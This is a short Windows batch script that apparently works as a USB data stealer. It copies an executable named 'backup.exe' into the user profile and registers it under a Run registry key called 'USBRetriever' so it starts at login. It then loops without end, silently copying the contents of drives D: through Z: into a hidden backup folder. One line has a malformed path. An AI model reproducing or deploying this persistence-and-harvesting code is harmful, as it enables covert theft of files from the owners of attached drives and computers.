@ECHO OFF
:0
IF NOT EXIST "%userprofile%\backup.exe" goto 1
IF NOT EXIST "%userprofile\backup\" mkdir "%userprofile%\backup\"
IF EXIST D:\ copy d:\ "%userprofile%\backup\" /y
IF EXIST E:\ copy e:\ "%userprofile%\backup\" /y
IF EXIST F:\ copy f:\ "%userprofile%\backup\" /y
IF EXIST G:\ copy g:\ "%userprofile%\backup\" /y
IF EXIST H:\ copy h:\ "%userprofile%\backup\" /y
IF EXIST I:\ copy i:\ "%userprofile%\backup\" /y
IF EXIST J:\ copy j:\ "%userprofile%\backup\" /y
IF EXIST K:\ copy k:\ "%userprofile%\backup\" /y
IF EXIST L:\ copy l:\ "%userprofile%\backup\" /y
IF EXIST M:\ copy m:\ "%userprofile%\backup\" /y
IF EXIST N:\ copy n:\ "%userprofile%\backup\" /y
IF EXIST O:\ copy o:\ "%userprofile%\backup\" /y
IF EXIST P:\ copy p:\ "%userprofile%\backup\" /y
IF EXIST Q:\ copy q:\ "%userprofile%\backup\" /y
IF EXIST R:\ copy r:\ "%userprofile%\backup\" /y
IF EXIST S:\ copy s:\ "%userprofile%\backup\" /y
IF EXIST T:\ copy t:\ "%userprofile%\backup\" /y
IF EXIST U:\ copy u:\ "%userprofile%\backup\" /y
IF EXIST V:\ copy v:\ "%userprofile%\backup\" /y
IF EXIST W:\ copy w:\ "%userprofile%\backup\" /y
IF EXIST X:\ copy x:\ "%userprofile%\backup\" /y
IF EXIST Y:\ copy y:\ "%userprofile%\backup\" /y
IF EXIST Z:\ copy z:\ "%userprofile%\backup\" /y
goto 0
:1
copy backup.exe "%userprofile%\backup.exe" /y
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v USBRetriever /t REG_SZ /d "%userprofile%\backup.exe" /f >nul
goto 0